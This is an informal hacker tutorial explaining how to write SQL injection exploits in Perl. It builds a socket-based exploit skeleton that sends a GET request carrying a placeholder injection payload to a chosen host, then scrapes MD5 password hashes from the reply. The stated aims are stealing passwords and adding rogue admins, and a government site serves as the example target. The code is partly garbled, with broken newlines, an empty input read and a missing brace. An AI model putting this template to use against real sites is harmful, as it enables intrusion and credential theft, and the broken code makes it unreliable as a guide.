Writing SQL Injection exploits in Perl

[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to all new and former visitors and …

—+— StArT
[1] Introduction
Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an
easiest life to everyone who decide to start writing a perl exploit.
There are few requisites u need to proceed:
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc…);
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc…).
Now, we are ready to start…
[2] Little panning of Perl language used into an internet context
Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the
server side (or other..). To make this u need to use some “Perl modules”.
Those modules must be put on the head of the script. In this tut we are going to use only the “IO::Socket” module, but
there are thousand and if u are curious just search on cpan to retrieve info on every module.
[-] Using the IO::Socket module
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting
of the script “use IO::Socket”. With this module u’ll be able to connect to every server defined previously, using
a chomp, look at the example.
Example:
print “Insert the host to connect: “;
chomp ($host=);
Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this
host. To do this, we must create a new sock that will be used by the interpreter to connect.
To create this we are going to write something like this:
$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";
In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp
($host=www.fbi.gov).
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").
Resume:
- Proto=>TCP -------> The protocol to use (TCP/UDP)
- PeerAddr=> -------> The server/host to connect
- PeerPort=> -------> Port to use for the connection
Ok, now let's go to the next step, which is the real hearth of this tut.
[3] Perl SQL Injection
Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.
The SQL code must be treaty like a normal variable (like “$injection”).
Example:
$injection=index.php/forum?=[SQL_CODE]
This string means that we are going to inject the query into “index.php/forum” path, following the correct syntax that
will bring us to cause a SQL Injection “?=”.
Now we must create a piece of code that will go to inject this query into the host vuln.
print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
This piece of code is the most important one into the building of an exploit.
It can be considered the “validation” of the connection.
In this case the “print” command doesn’t show anything on screen, but it creates a dialogue and sends commands to the host.
In the first line the script will send a “GET” to the selected page defined into “$injection”.
In the third line it tells to the host “who/what” is making the request of “GET”. In this case this is Hacker, but it
can be “Mozilla/5.0 Firefox/1.0.4″ or other.
In the fourth line it defines the host to connect to, “$host”.
With the execution of this script we have made our injection.
Resume of the exploit:
use IO::Socket
print “Insert the host to connect: “;
chomp ($host=);
$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";
$injection=index.php/forum?=[SQL_CODE]
print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
close ($sock); #this line terminates the connection
A little trick:
Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.
Additionally, u want that your script will show the PWD on your screen.
Well, to make this, the next piece of code, could be one of the possible solutions.
while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print “]+[ Found! The hash is: $1n”;
exit(); }
This string means that if the answer of the host will show a “word” made by 32 characters (”0″ to “9″ and “a” to “f”),
this word must be considered the MD5 Hash PWD and it must be showed on screen.
Conclusions:
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.
U could use also the module “LWP::Simple” in the place of “IO::Socket”, but u should change something into the code.
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.